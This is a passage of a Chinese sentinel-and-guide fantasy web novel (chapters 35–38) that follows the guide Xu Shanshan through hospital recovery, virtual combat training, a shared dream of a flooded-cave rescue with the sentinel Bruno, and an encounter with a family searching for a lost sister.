佛尔克在床上转身,头枕在手肘,“唉,真希望我被污染时也能有人愿意帮我。” 没有谁愿意眼睁睁看着自己,失去理智,堕化成污染物,被处理掉。也没有谁愿意手刃昔日队友,如果有选择。 第35章 住院期间,她狂补影像资料。起初,但凡心率偏快,三分钟内就会赶来医生问诊,不允许他人探望。 几天过去,她仍然身体健康、性情如初,认知清醒,逐渐放下心。 他们认为她在向导中,就像纠察队员在哨兵中的一样,体质特殊,能承受更重的污染,简言之就是天选之女。 窗外淅淅沥沥,雨刚停了两小时,又开始落。天气预报里,大部分地区,都有持续性强降水。 行人打伞从庭院中穿过,狂风将伞骨吹翻,单手抓着往前。 门被敲响、打开,长官站在门口,“暂时还不能出院,我给你带了一件新东西。” 她蹦下床,这几天闲得要长乌鸦了。 长官向她分享了两个消息。 好消息是,她的行为,展现了向导的担当和仁心,白塔将公开表彰,并给予物质奖励。 其次 ,如果她愿意,将设定一个新岗位,工作内容是治疗异化严重的哨兵,她将拥有单独的办公区,待遇会翻数倍,军衔直升两级。 作为特殊人才,为了保证她的安全,会配备警卫员。 坏消息是,作为哨向关系的典范,她会在演习的开幕式上致辞,这公开仪式会吸引各区人的关注。 长官还和她分享了许多幸事,一解烦闷。那名哨兵也恢复了人形,似乎一切向好。 不幸被隐瞒,比如她总念叨的蝙蝠,已经失踪三天,暴雨几天,溶洞水位上升,洞口被淹,许多地方只能深潜,难以组织救援。 他看见她还在做它的羊毛毡,恐怕没机会再见了,如果雨不停。位置不确定,食物固定在岩壁,但他不一定能取得,人的憋气时间有限,更要命的是缺氧。 徐珊珊:“演讲稿要我自己写吗?” 她没想起倒是好事,“如果你不放心,写好初稿,可以拿给我看。” 通过连廊到另一栋楼,他搬来全息设备,她的身体已完全恢复,可以在虚拟环境中锻炼战斗技巧。 他没忘记她说:“我不想做最后一名。” 设备被调试好,新注册账号,面容识别,全身扫描。她登录系统,无师自通地进入模拟对战,沉浸其中。 山昊转身往外,留她探索。卡尔站在门口,他现在是她的贴身保镖,两人相背而行,房门合拢。 她随意点进一个污染区,不到一分钟被身后偷袭致死,都没反应过来,脑瓜子嗡嗡的,咬牙调低疼痛感知。 不信邪地重点进去,于是她的死亡记录一直在左下角刷新。 她忍不住吐槽:这种强度的污染物,我打毛啊?这不等于让我去给东北虎滑铲吗? 这是公开的服务器,有各个塔共享的模拟数据,除了白塔,也有其他地区的用户,如果打开周围语音,就能听到不同口音。 她默认关闭,所以不知道有人在麦里劝她,只是不断重开,一遍遍换武器、攻击位置,尝试击败它。 怪物速度太快,她尝试唤出小蘑菇,来点附魔,但根本没沾边,就被贴脸了,惊悚一幕后,再次嗝屁。 她泄气地坐在等待大厅,能应对这些污染物的哨兵果然是人间兵器。 回看别人的公开录像,放慢了二十倍速,才勉强看清动作,排行榜上更是大佬云集。 无奈退出虚拟环境,转身就看见卡尔,他递过来一张湿巾,抱着水和食物,腰间配枪。 擦干汗水,她叹气道:“它们太强了,我打不过。” 他接过湿巾,水瓶开盖被递上来,“需要我陪你练习吗?”她同意了。 卡尔登号,两人加好友组队,再点进那个污染区。 男声突然冒出来,她吓得脖子左歪,一会儿才反应过来是谁。 卡尔:“新手应该以去自定义训练,那可以设置污染物等级。” 看来她直接跳过新手教程,是个严重错误。 卡尔的模拟形象和他现实区别不大,只是多了一个大范围刺青,从脖子到上臂。 两人刷新在荒野,脚下是荒凉黄土,几棵枯木,烈日下,脊背冒汗。视野开阔,第一时间没刷怪。 阳光下热浪翻滚,地面剧烈震荡。 “咚、咚、咚……” 卡尔领她到山丘后躲避,是一只污染物,身形巨大,浑身漆黑,体表凹凸不平,嘴部、手掌、胸口处都冒出长须,其中长着口器。 即使他们不动,对方仍像嗅到味般冲来,卡尔迎上前,“小心。” 参天大树于地面扎根,根往岩石缝隙、土壤中生长,枝条向上伸长,繁茂的绿叶遮蔽了天日,她曾见过盆栽似的树苗,此刻挡出大片阴影。 她也召唤出精神体,它的消化效率更高了。污染物一拳砸下来,地面开裂,速度还不慢,伸展出去的枝条被拍碎,枯落地上。 按理来说,他作为A级哨兵,应付常见的污染物是绰绰有余的,但这个情况,两人应该是遇上了精英怪。 卡尔偶尔会用虚拟对战系统,因此更了解些,恐怕降落点离污染源不远。 他笑自己,说要陪训,实力却不够。这个区域,他曾听过,高级污染物有两头。 拓荒的队伍,战到一半,诡异的奏起喜乐,任由两头污染物合击致死,死前通讯仍维系着,所有动静另一处都能听到。 它们善用精神攻击,而他不会被轻易污染。高级污染物自带威压,周围不会出现其他小怪。 他可以杀死这头,但不确定,打斗过程中,另外一头污染物会不会被吸引来。 徐珊珊身上携带着很多武器,但他们靠得太,卡尔身手敏捷,对方尽管力气大,却始终无法砸到他身上,反而不断被刺伤。 只能瞄准头部,每当它攻击时,会先扬起口器,再伸出触须,就趁这个时候,开枪射击。 子弹打在肥厚表皮上,溅出血,不知道为何,它突然转身朝她来,仿佛被激怒,她立刻逃跑,想拎起小蘑菇,却不知道它跑哪去了。 相较于泄愤,她更倾向于对方是柿子挑软的捏,欺软怕硬的污染物。 它步幅大,两腿交替,奔跑起来,给她带来的恐惧感不亚于曾迎面而来的犀牛。 她终于明白训练的作用,双方距离拉近,但她仍有余力,尚能坚持,这给了卡尔反应时间。 枝条不再从男人脚底长出,而直接由精神体伸展,它生长、破裂时发出声响,紧紧的缠住双腿,将它牢牢钉地。 “轰——” 污染物终于倒地,地面轰隆响,她步伐减缓,扶着腰,调整呼吸。 叶片边缘锋利,锁紧的同时,切割腿部,至少要让它再站不起来。 肢体受伤,污染物仰头,层层叠叠的口器发出低频的吼叫,轰耳震脑。 她不禁抬起枪,瞄准,打了数发子弹,终于安静了。卡尔的耳朵出血了,对方却摇头,示意自己没事。 她走近,突然一条长须抽来,惊呼:“小心背后!” 男人耳朵微动,他看见了。树的全枝伸展,铺成一片密不透风的墙,层层叠叠,挡住了自杀式袭击,它发狂地将毒素喷溅出来。 “滋滋~” 表皮被腐蚀出深深浅浅的坑,未调痛感,卡尔站不稳,单膝跪地,单手硬撑。一股力量汇于体内,他感觉到,从地底往上传。 但时间不多了,另一只污染物被召来,他们可以选择退出,或是继续挑战。 爆炸攻击仍在继续,而另一位敌人靠近。 “卡尔,你还好吗?不行我们就退出去。” “你先离开……” 徐珊珊直接拒绝,实战就算了,难道虚拟对战里,她也要抛下队友吗? “我和你一起走。” 卡尔笑了笑,他感到庆幸,石子磨砺掌根,推地起身,“我们一起击败它。” 污染物朝两人奔来,由于精神攻击不生效,两人仍有一战之力。 卡尔认为自己打不过它,和前者的搏斗耗尽了他的大部分力气,在现实中,能够博得同归于尽,已经是最好的结局。 偌大的污染区,没有哨兵保护的向导像一块肥肉,顷刻炼化。没有队友接应的前提下,两人必须同时存活,一并离开。 但他意外变强了,精神体更为茁壮,随心而动,各方面都提升了一个档次。 他的实力该随时间增长,不可能迅速提升,尽管想不通,他仍趁机,与它打了个平手。 这次相距更远,空档期,她的攻击便有些肆无忌惮,之前觉得弹药很沉,这下只嫌不够。因为臂力的原因,没法将手雷抛到口中,她看别人是能投进去的。 见两人越挫越勇,那污染物竟趁机溜走了,贪生怕死,她还以为会跟之前那只一样,战到死。 两人幸存,卡尔却直接倒地,她紧张地扑过去,抱在怀里,人还活着,只是真累了。 头发混着汗液贴在脸颊,她四处环视,终于明白,为什么随队出任务,关系能快速拉近了,这不是爱情,是同生共死的战友情。 还是没见小蘑菇,一时很担心,但它不久窜出来。 它跳到她膝盖上,一蹦一蹦的,心终于放下,故意冷落它,又跳上来,菌丝还戳向地面。 她没看懂它的意思,安静等卡尔恢复,一直到男人苏醒,做出解释。 小蘑菇窜地里面帮忙去了。植物和真菌的互利共生 ,增强了这棵树的吸收能力,让他越战越勇,短暂突破上限。 解释完,她一顿彩虹屁输出,卡尔蹲下:“你是一个勇敢的战士,拯救了我们。” 虽然没有表情,但看得出来它非常骄傲,她答应投喂它爱吃的食物。 两人退出来,稍作休息,走回病房。 徐珊珊:“没想到我们的精神体还能打配合。” 卡尔点头,“很奇特。” “缘分啊,缘分。” 晚饭后,两人尝试自定义,果不其然有低级污染物,她一下子来手感了,几次试下来,逐渐产生信心。 而那只逃走的污染物,在他们下线后不久,被另一波人猎杀了,那群人目睹了全程。 第36章 #怕水的宝子可以跳过这一章 月夜朦胧。 漆黑一片,她的手挨着干燥的岩壁,往上摸索,抓下些许碎石,滚入水面激起波纹,重重回响,手指往旁边移,细流落入掌心。 这是哪儿? 她下意识靠墙,脚上还穿着鞋,伸腿试探,鞋底变沉,一股向上托举的力,是水。 她被困在溶洞里,水泊边的一处斜坡。 周围寂寥得仿佛只剩她一人,轻声喊:“喂,有人吗?” “喂~喂~喂~” 近处、远处的回声传来,与后面的话重叠,一颗心提了起来,没有回应。没有光线,她什么也看不见。 肾上腺素激增,她摁下恐惧,一边鼓励自己,遏制悲观念头,一边探索墙面,手往高处摸。 她发现一个硬质圆物,触感突变,光滑似铝,以为碰到甲壳,她缩回手,脚却不动,压下后退欲望,因为后方就是暗河。 “什么东西……”她嘟嘟囔囔道,心似钟鼓,仔细体会,那像是人造物,滑溜溜的地方,像是标签。 她蹲下来,捡起小石子,握在手中,瞄准方向,轻抛过去,脆亮响声,没有其他动静。 黑暗引发了各种灾难想象,又因为一片死寂,颠覆了这些想象。 她感到脖子瘙痒,手碰上去,只是一根头发。 不能坐以待毙,她鼓起勇气,贴着墙往上靠,又摸到那圆柱形物体,搭在冰凉表面,左右摸索,圆弧装头部和密封圈。 不是尸体、不是奇怪生物,是一个罐子。 她松了口气,是人造物,它被卡在壁上,将它取下来,有些重,晃了几下才站稳,差点跌进河里。她蹲下来,将它放地上,又找到配套用品。 无意拧开一个卡口,旋动滚轮,气流喷到脸上,立即关好。这是一个氧气瓶。 再往旁边探索,没想到还挂着食物,用防水布包着,地面、墙上都有,竟然还有救生衣。 她赶快吹气,将它套在身上,拆开食物包装,补充能量。没有呼救,而是隔一会儿敲一下岩壁,让声音传出去。 没有回应,她将手指插入水流中,感受到暗河的流动方向,不知从什么时候起,冲力增强,后斜倾角变大,这意味着流速加快了。 一点湿意渗入鞋底,她不敢置信地舔了舔嘴唇,又往后缩了一步,别吧,心里不敢置信,却很诚实地穿好浮力调节器马甲,装好水肺装置,穿上脚蹼,背在身上很重。 好像在哪儿学过潜水,她虽然紧张,却知道如何操作。 打开照明装置,固定面罩,将封装食物放进口袋,庆幸的是口袋有拉链,它们不会被冲走,直到装满。赶在食物被泡前,她又多啃了几口。 水位一点点上涨,没到腰部,感受到裤脚在水中飘荡,忧虑逐渐加重,看来遗书都留不下了。 也许她死期将至,反而释怀。她想起和闺蜜的约定,不知道她还会不会记得给自己坟头烧,她在下面也要看的。 水流逐渐淹没胸口,她站不稳了,脚脱离地面,她浮空了,手扒着岩壁,却抵不过水流的冲力,它碎开了,而她也开始随波逐流。 水流随快,却不凶险。转弯处,她不时会贴近岩壁,尽量用手脚接触,避免救生衣被戳破,水未填满溶洞,她可以浮在水面,没用气瓶。 不知道漂了多远,时间过去了多久,浑身浸湿,凉意袭来。 但乎到了头,头顶着硬物,水不断将她往后冲,但她下不去,浮在上方。想往回推,逆流而行,不可能做到。 她困在此处,热量流失,几个小时后,会低温昏迷、肌肉僵硬。水位暂时稳定了,流速减慢。 她敲了敲岩壁,仍然无人回应,这一处的二氧化碳浓度逐渐升高,她有些头晕,因此分不清岩壁传来的声音是真,还是自己的幻觉。 不甘心憋死,她戴上呼吸罩,又活过来,调整姿势贴在岩壁上,却有震动,从后方传来,不是杂乱无章,非常规律。 要去那个地方,她得下潜,穿过这块下凹洞道,没有推进器,不知道能否到对岸,但待在这儿也是死,时不我待,她心一硬,调节浮起装置,进入水中。 更坏的情况出现了,当她的脚摆动,搅弄底部沉积的泥沙,视线变得异常浑浊,分不清上下左右,似乎每个方向都一样,她被困在沟底,找不到去路。 越急就扑腾的越快,体力快速消耗,也会加快耗氧量,她想到这一点,逼自己停了下来,任由浮力带着她悬浮。 既然放置了气瓶,必定有人来过,而这些人为了防止自己迷路,一般会沿途布置引导绳,但它也有可能断裂。 她感到有什么东西勾过自己的耳朵,调整了位置,手摸上去,竟然真的是一根尼龙绳,它很硬,竟然真的有! 水流缓和许多,她沿着引绳扑腾,顺利上浮,路过多个分叉口,不知道游了多久,终于冒出水面。 气瓶渐空,她试过边缘陡峭,站不上去,既然水势平缓,她珍惜地将气阀关闭,贴在墙边休息。震动声更响,她离声源更近了,不禁燃起了希望。 徐珊珊:“我在这里!” “有人吗?”她不厌其烦地敲击岩壁。 对面有反馈,太好了,她心情激动,活人,希望是人吧,露出惨淡微笑。恢复了一些力气,无论是什么,她都要往那儿去了。 这条路很长,她兴奋地沿着布线游,也听见声音越来越近,但最后还有一段完全被水淹没的洞道。 她憋不了多久,刚才的慌乱又耗多了氧气瓶,不知道还能不能撑到对岸。不再耽搁,她戴上面罩,往下方游去。 妈妈,保佑我吧。 她有些游不动了,速度变慢,生存欲驱使她前进,但比力竭更先到来的,是气瓶耗尽。 越来越稀薄的气体,再用力吸,什么也没有了,普通人的憋气时间只有三十秒,她眼睛一酸,像是回光返照似的,用力蹬脚,往上游去。 一直到破气的最后一秒,她的鼻子和口腔都涌入河水,呛得不停挣扎,有什么东西缠上来,手、脚、后背,是水鬼吗? 她奋力想挣扎,但却被锁紧,直到唇瓣被触碰,鼻翼被捏紧,渡了一口气,温暖的,好像不是水草。 她抬头看去,新面罩被扣在脸上,她猛灌了一口水,呛得咳嗽几声,才发现是氧气。大口气,冷静下来,看向身前,是一个人。 穿着黑色潜水服的人,她想起救援人员常被溺水者缠住,不断挣扎,阻拦游动,反而将两人往水底扯。她意识到后,立刻僵直,任人拉动。 他们在往斜上方去。 她先被推上去,上身靠岸,肢体接触到空气,很冷,浑身发抖,唇齿止不住颤动。 她下意识关闭气阀,突然意识到,这不是自己的,一根管子连到身后,是别人的,转身望去,一个浑身被包裹的人从水里冒出来。 先是手靠岸,然后腿也上来,最后是全身,他带着防护镜,脱下帽子,短发全湿,颈后剃发。 直到男人摘下眼镜,她才认出来,说话声有些抖:“布鲁诺?” “是我,”男人叉腰站着,“你怎么在这儿?” “我……哈切!”她回忆时,忍不住咳嗽,上下齿不停摩擦发出声响,观察到他的脸颊微凹,站姿也有点奇怪。 见她失温,男人蹲在袋子旁,低头翻找。她不可能来这儿的,这一幕幕都透露着不合理,兴许是他的幻觉。 听到女人呼声时,布鲁诺以为是污染物的遗留影响,人在黑暗、缺氧、独处的环境待久了,容易神志不清。 但当水里出现了不一样的动静时,想到那种可能,他还是没忍住,跳了下去,却没想到真的是她。 干燥的换洗衣服、面巾,他听见拉链滑动的声音,女人脱下沉重的潜水装置,关闭照明灯,自言自语道:“别把我的宝贝打湿了……” 担心她感冒,布鲁诺:“把衣服脱一下。” “啊?” 手电筒被调到微光模式,但仍能看清湿透的裤子半透,映出内里轮廓,腿面沾着水珠和竖起的寒毛,她从鼓鼓囊囊的口袋里掏出一袋袋食物,堆在一块。 听到这话时好像还在走神,张着嘴,手先于脑子行动,去掀上衣的边缘,做到一半回神,怒目而视,扁着嗓子质问:“你想干嘛?” 她捡起手电,往他身上照,看件手上的干布:“好好。” 光线一下子消失了,他走过去,东西被接过,“你转过去,不准偷看啊,不然我会揍你。” 他轻笑了一下,说话好硬气,不知道是谁刚才扒拉着他,转身蹲下,也开始解衣服。 全黑环境,只有触感,将衣裤鞋袜全脱掉,擦干躯干,好受多了。肌肤裸露,她的脸偷偷红了,将毛巾放下,抓起干衣服换上。 只有外衣、外裤,她想了想还是算了,等她衣服晾干穿自己的,尴尬地咳了两声。 男人换好衣服,在岸边摸水位,仍在刻痕处,没有上升,虽然是幻觉,他还是下意识担心,有她在就更担心了。 微光亮起,只能照亮周围半米,照亮那堆“山丘”,她用很骄傲的语气说:“饿不饿?我给你带了吃的,不准吃多了。” 他一高一低地走近,脸上带着笑意,捧场地说:“太饿了,宝宝,如果你不来,我快要饿死了。” 不是,他们很熟吗? 徐珊珊被这话给惊住了,泪水收回去,情绪一下子从紧张、恐惧,变成无语。不是哥们,我们才疏导过一次吧? 她怎么记得,刚认识不久,他就要出任务了,之后两人只打过视频,上次不是很尊敬的喊向导小姐吗,怎么突然就宝宝了? “别乱喊。”她撕开塑料袋,将压缩饼干递过去,男人握在手中,却没吃,她没听见咀嚼声。 “吃吧,唔唔,等等——” 当男人朝她扑过来的时候,她首先感到恐惧,往后倾倒,随即躺靠在地上,脑后枕着手掌,嘴唇被啃咬,男人的鼻梁戳在脸颊。 她越挣扎,对方越起劲,徐珊珊想了想,躺平了,不知道他发了什么疯,见她不用力,他也逐渐松开力气,转而贴上来,侧身躺在地上,紧贴着她的躯体。 手电筒的灯光突然熄灭,黑乎乎一片,唯有触感更加清晰。 徐珊珊的脑子在转动,面对如此流氓行径,她本想蹬腿废掉他的小弟弟,但转念一想,这危险环境,他还不能失去行动力。 这口气又憋不下去,她还记得刚离开时,布鲁诺的那股可怜劲,让她别忘记自己。 在她印象里,对方明明是个粘人小可怜,怎么形象崩坏了? 刚见面就敢这么对她?所幸对方只是亲咬,没有更多出格举动。 等到男人满足的起身,迎来的是一记耳光,脸被打向一旁,不痛,暖暖的。 像是被抽出了实感,布鲁诺捂着脸,眼神清澈了些,“幻觉?” “我不是假的,我真活人,你个流氓,给我过来。” 第37章 她摸不到手电筒,黑暗中不敢乱动,怕落水。孤立无援时,她反而更有勇气,果断抉择,没被困境击败,最终获救。 聚焦于每个动作、外界信息,强压下情绪,它开始涌动反而是在重逢后。 此时,她迫切地希望他回应,听见脚步声才安心。 不一会儿,身前一阵风,什么东西倒下,压在腿上。她伸手摸,一颗湿漉漉的头,额前短发像毛茬,搂一撮能拧出水。 指尖清晰的跳动,不知道是她的脉搏,还是男人的。活人,另一个同伴,没什么比这更好的了。 真的靠近,她反而没了惩罚的心,只是象征性地拉扯耳坠,“痛吗?” 布鲁诺:“不痛。” 嘿他这个皮糙肉厚,徐珊珊气笑了,加大力度,直到男人开口求饶,才松手,“知道痛下次就注意点。” 布鲁诺平躺着,脸侧向外,感受到在他头上摸索的手,热乎乎的,他抬起一只手,叠在上分,指引着她从耳廓,移向眉眼。 她说自己是真的,但怎么可能呢?上百公里,就算她从别的入口进入,脚程也太远,地势多变,还有被暗河完全淹没的路段。 尽管不可能,布鲁诺还是揣着侥幸心理,硬编出一个可能,归结于她的爱意,出于担心自己。 布鲁诺:“你不该来的……” 瞧他这话,搞得跟她主动来一样,她莫名其妙就到这儿了。她屈膝,伸手推肩,他有点沉,还算识相,自己疑惑地撑地坐起来。 这事算过去了,思绪转向两人如何出去,“你困在这多久了?” “第五天。”最后一次在洞口汇合,他手绘地图,记录行动路线,并沿途布置补给点。 布鲁诺说话声不大,时不时停顿,避开回声,和她讲述自己的经历。 消息准确,他率先找到任务对象,但这儿离污染源很近,他受到影响,在打斗过程中受了伤,感知混淆。 他背着物资,试图返回,中途却涨水,流速变快,回声定位出了问题,他不得不找个高处停下来。 山洪灌入,他被迫在这儿停了几天。幸运的是,这个气室位置高,空间大。他可以降低代谢率,减慢呼吸、心跳,少耗氧,撑更长时间。 但不断上涨的水位,湍急河流,快速出去的希望破灭,他也落入了两难境地,雨何时停? 水流变缓后,兴许队友能进洞救援,他的精神体是洞穴鱼,但需要时间,毕竟这里分岔多,支路长。 徐珊珊:“有没有东西给我垫一下,我想躺着。” 布鲁诺凑上来,“你可以靠我身上。” 男人伸手,把袋子提过来,揉吧揉吧卷成一团垫在脑后,她挪了挪屁股,直接躺上去,心跳的频率减慢。 “布鲁诺。” “嗯?” 没什么话想说,后脑勺不断传来胸口起伏的弹力,告诉她身旁还有一个活人。 “要是你饿极了会不会啃我?” 布鲁诺:“不会。” 她叹了口气,“你好像瘦了,”男人摸了摸胳膊,“等我出去就长回来。” …… 干粮不多,水源充足,扛一个月不成问题,他还能挺更久,只要能等来救援,倒不至于太消极。 布鲁诺:“引导绳还在吗?” 她点头,“我是跟着它找到这儿的。” 好事。布鲁诺能在脑海中构建环境地图,且空间记忆能力强,不会迷路,引导绳是留给其他人的。 他的笃定给了她信心,但危机仍然存在,万一雨不停,或者水位不降,队友认为他死亡,或在错综复杂的溶洞中迷路。 氧气浓度就是生命线。 “可以再让我亲一下吗?”他没乱动,因为梦中人也有脾气,很像她。 “你想被打了?” “扇一下,亲一次?” “不 行。”她没好气地拒绝。 “两下、三下?” ……奇怪的脑回路,她掐了一下对方的胳膊,“不行。”她又不是变态,更何况,她已经有哨兵了。 不管布鲁诺叫得多可怜,她捂住他的嘴,“别说话,节能减排。” 男人安静下来,握紧她的手掌,两人平躺着,数着心跳,不知过去多久,洞内响起羽翼扇动声。 布鲁诺走到河边再次探了探水位,又上涨了,揽住她的肩膀,往更高处的平台靠,“来这边。” 打开手电,她四处环照,发现挂在壁上倒立的小蝙蝠,眼睛亮得像灯泡,将光照地,两人往高处去,一对苦命鸳鸯。 后续水漫上来,两人不得不再次挪地方,互相依靠着取暖,但触感逐渐消失,再没有她的气息。 溶洞里,男人躺在台阶上,睁开眼,吐气伸手,四处摸索,果然只有他一人,难得美梦,好像脑子舒服多了。他起身到岸边,水位不再涨了! 梦醒起身,阳光照进病房,听见男人呼声,她应下,卡尔进门,看她满头汗水。 他将早餐放在柜上,她只摇头,“帮我联系曼努埃尔。”她得查实这是不是真的。 地下,曼努埃尔坐在审讯室的墙角,注视着这场询问,强光打在罪犯脸上,忽然铃响,一人走进,请他出去,说是有人找他。 什么事,突然打扰? 他穿过走廊,来到门口,与门卫交换座位,接过固定电话,“您好,这里是曼努埃尔。” 一个男人,他讲明来意,不久后,女声从那头传来,语气有些急,曼努埃尔放在桌面的手抓紧,呼吸变乱。 两人已经很久没有交流,或者说,自从进了训练营,就断联了。 “喂,是曼努埃尔吗?” “徐珊珊向导,上午好。” “我想问你个问题,你能诚实回答我吗?因为这真的很重要。” “……你问。”手背贴在桌面,手指来回摩擦,他听见对面一字一句的,说话声轻,带着不确定,“我梦到过的那个人是你吗?初春、草原、狼群、野牛、狩猎……” 最后两个字咬在牙尖,她没说出口,曼努埃尔了然,坦然承认,“是我。”看来真的是双向梦境。 “好,那那我挂了,再见。”得到答案,徐珊珊面红耳赤,颇有些不好意思,迅速挂断电话。 “嘟、嘟、嘟——” 指示灯颜色转变,通话结束,男人坐在原地愣住,一直到旁人三次喊他的名字,才回过神来,站起身让开座位。 门卫:“去吧,里面还没结束。” 曼努埃尔:“好,辛苦了。” 中午,他被唤去医院,再次见面,但却不只两人。一人询问,两人交替回答,没检测出撒谎痕迹。 “你没有疏导记录,污染度为什么大幅降低?” 她抬起头,男人看过来,他没有回答,似乎仍要掩藏那段往事,但对面表情严肃,不断逼问,像审讯犯人般。 这事很严重吗?她鼓起勇气承认,“是我做的,”这归于两人私事,他不再追问。 既然事实为真,两人的隐情,长官、卡尔、解逸飞都替他们遮掩,将话题带过去。 “队长,”她先看向解逸飞,这是他的队员,又转向自己的领导,“长官,他现在还没死,不要放弃他啊。” 山昊点头,消息来得突然,他更担心异能带来的负面影响,“我们会处理的,你觉得哪不舒服吗?”女人摇头。 解逸飞:“雨停了,”天气变幻莫测,特大暴雨转移了范围,“他会回来的。” 这事报上去,人们陆续告别,她让曼努埃尔留下,房门被合拢。 她扑进储物柜,午休时间,虽然吃过饭了,也不妨来来点饭后零食。 “砰——” 什么东西倒在地面,她不甚在意,继续找最后一包软糖,却翻不到,“对不起。”听见身后男人的声音,她放弃寻找,站直身,关闭柜门,转头转身,看见男人跪在自己面前。 他垂着头,背弓起,双手成拳放在砖面,右手边放着缀有尖刺的皮带,绕了几圈系好,一副认罚模样。 负荆请罪? 难道白塔都是棍棒教育?为什么一个二个都这样。她将那皮带踢向一旁,把他扶起来,对方顺着力道起身,不然他两米高,她也推不动。 “咳,没事。”她一想到那个梦境,忍不住脸红,“我也不在意,咱就当什么都没发生过,要不是你,我还没法说服他们。” “梦里的事,做不得数,别放在心上,谁能想到呢?对吧。” 毕竟是她的被动技能,控制不了时间、对象,随意入梦,该说道歉的该是她,就是别人可能不这么想。 “其实你可以直接和我说,你也不是故意的反正。” “您会原谅我吗?” 当然,又不是什么大事,她坐在床上,既然没糖吃,就开始絮絮叨叨,讲和布鲁诺的那场梦又多惊险,简直是死里求生,相比之下,他们那场就温和多了。 看着她澄澈的眼睛,曼努埃尔突然萌生一股勇气,想要将一切倾诉,她摸过自己的伤口的,却不厌恶,但那是夜晚。 他想告诉她,两人第一次遇见是什么时候,第一次说话又是在哪里,并非图书馆。 房门被敲响,他捡起皮带,现在不是时候。 第38章 男人告辞后,她按计划,登录虚拟作战系统,进入熟悉的污染区,卡尔临时被医生喊走,她独自训练。 屡战屡败,但身体不会受损,系统警告弹出来,她选择:无视风险,继续进入。 时至正午,闷热酷晒,地表温度超越七十度,将车框烤得发烫,袋子里装着数个空的矿泉水瓶。 雷达扫描,有东西靠近,她瞄了一眼,四个点,掏出望远镜往回看,穿白色披风的四人,步履蹒跚。 空调运转,凉风徐吹,她立马蹬了油门。 好不容易捡到的车,油没剩多少点,但那也是车,不要看上这辆,去找别的载具啊。 在模拟污染区中,她避免和人群接触,不参与“切磋”,一般找个角落打污染物。 毕竟在这儿,谁也不认识谁。 有些游民似的哨兵,没有基地归属,终年游荡,他们中的一些,极端暴戾,以折磨别人为乐。 当然这不是说,有编制的哨兵就正常的意思,只是塔内更安全。 引擎震响,轮胎卡在坑里,不深,她倒回去看了一眼,什么时候漏气了?偏这时候,她拍了一下方向盘,先换个地方。 脚踩油门,座椅震动,身体上弹,汽车开动了。 雷达里的红点逐渐远离,音乐奏响,心情渐好,野外的荒凉景象,这离基地很远,现实中很难看见。 直到中控台发出滴滴声,她瞥见红点在迅速靠近,后视镜中只有一阵烟, 难以置信有人能跑这么快,不是刚才不还一瘸一拐吗,怎么现在跟小猎豹一样? 她不会真遇到坏人了吧? 踩紧油门,档位调到最高,后面的人还在追,有两个红点停下了,但剩下两个还在追。 她不知道他们为什么这么执着,但轮胎漏气,车子逐渐不稳定,一抖一抖的,油量也见底。 佩服他们的执着,徐珊珊调到低速档位,降速后,轻踩离合踏板,最终刹车。地面划出胎痕,那个轮胎终于完成了它的使命。 她解开安全带,靠在窗边往后看,的确是那群人没错,跑也跑不过,打也打不过,车子让给你们行了吧。 才怪,只要拖一拖,等卡尔回来,再抢回来。毕竟高级哨兵可没那么多。 她又解开瓶盖喝了一口水,打开驾驶门,下车。日光烘烤,热得不行,她走到枯树的阴凉处等候。 一行人靠近。 徐珊珊:“你们跟着我干嘛?” 对面张嘴,却听不见声音,她恍然发觉自己没开听筒,设置好后,两个男声冒出来,音调奇怪,口音很重。 “总算蹲到了。” “千万别让她跑了。” 短短两句话,罪犯形象就勾勒出来了,她有些紧张地靠后,“喂,你们别过来啊,乱动我就下线。” 她身子骨弱经不起折腾,肯定是扛不住打的,“你们要车子就拿去,大家都是出来混的,没必要过不去。” 叽里咕噜的,他们都没听懂她说话,说起 来,这群人中唯一的城里人,只有那位病员,他被落在后面。 他们打扮异域,布料破旧起球,腰间挂着冷兵器,肉眼可见的穷且落后。 羽翼般的阴影略过,一个男人空中落下,和两人汇在一块,他们是一伙的。 五人小团体。 脏辫男从后车箱中取出千斤顶、套筒扳手、备胎,拧松螺丝,开始换胎,就跟他是车主一样流畅自然。 既不靠近,也不让她走。 徐珊珊搞不明白他们想做什么,但一段时间后,等后方的两人赶来,她明白了。 她的表情变得很难堪,一下子卸下了防备,但…… “我治不了,我真治不了,你们找别人吧。” 她一边摆手一边往树后走,调出登出界面,右上点叉,看了看这群人,好奇加上于心不忍。 “你们怎么这么……”奇怪两个字没说出来,看着挺着大肚子的男人靠在树边,一种无力感蔓延了全身,这个荒唐的世界。 “抱歉,向导小姐,他们吓到你了吗?” “没,没事。”她不忍心对孕夫说太重的话,他干净许多,没有胡茬,头发清爽不乱,“你怎么,你,我……” 他怎么怀孕的? “你帮老大看看。” 一阵咕噜声从左耳响起,震耳欲聋,吓得她差点撞树,无奈地仰头,看向那个男人,才发现身边的人都一副无语表情。 这位领队无奈地喊他:“老五,助听器忘带了。” “好嘞。” 另一人从车内翻出不知由什么制成的彩色饮料,好像还真是他们的车。等于她把别人车开走了,失主在后面追她,尴尬。 她还以为这是自动刷新在路边的,就像射击游戏一样。 她犹豫了两秒,还是接了过来,接受这份友善,她对这些人产生了兴趣。 领队指着自己:“练洛一。” 他再用另一种语言发声,稍后另外四人站成一排,一一看去,“练洛二、练洛三、练洛四、练洛五。” 这名字取得,好敷衍……她忍不住吐槽,他们这一家子长得也不像啊,根本记不住。 每见他,就忍不住将视线移到孕肚上,很大,像装了两个西瓜。她生出负罪感,为什么要让人挺着大肚子在烈日下追车。 但电视剧里好像没演,她也没听人说谁的哨兵怀孕了,但见他这幅样子,显然对方是个负心妻,他只能带球跑了。 “你这个月份大了,就不要来训练场了,好好休息。” “不是的,小姐,你误会了。” 他笑起来,脸白,透着一点青,皮肤很薄,贴在骨头上,不像其他人一样健壮,看起来要虚弱许多。 一人从车内翻出照片,递到他手上,于是她得以看见,山洪是如何灌溉洞口,水涨了多高。 明显是偷拍照片,从背面、侧后方,她认出了里面的人,声音冷淡,他们怎么知道? “你们想干什么?” 她警惕地问,目光却始终留恋上面,众人明白,他们的猜测应该是对的,她果然是照片上的人。 “别误会,我们是偶然路过,看他们好像是白塔的人,其实我们在寻人。” 领队接着拿出一个相册,逐次翻页,照片上的人的更年幼,多组对比,从眼神上,可以认出是他们,到最后,有一张全家福。 相同的纯白背景,正居姿势,像拍证件照,严肃、板正。抱着他们拍照的人没有变过,一男一女。 只是他们当中,少了一个白发女孩。 “她走失了,可能进了白塔,你能帮我们留意一下吗?相应的,我们会救出这个男人。” 他们找她很久了,从临近处,每个基地,也包括基地外聚集区。 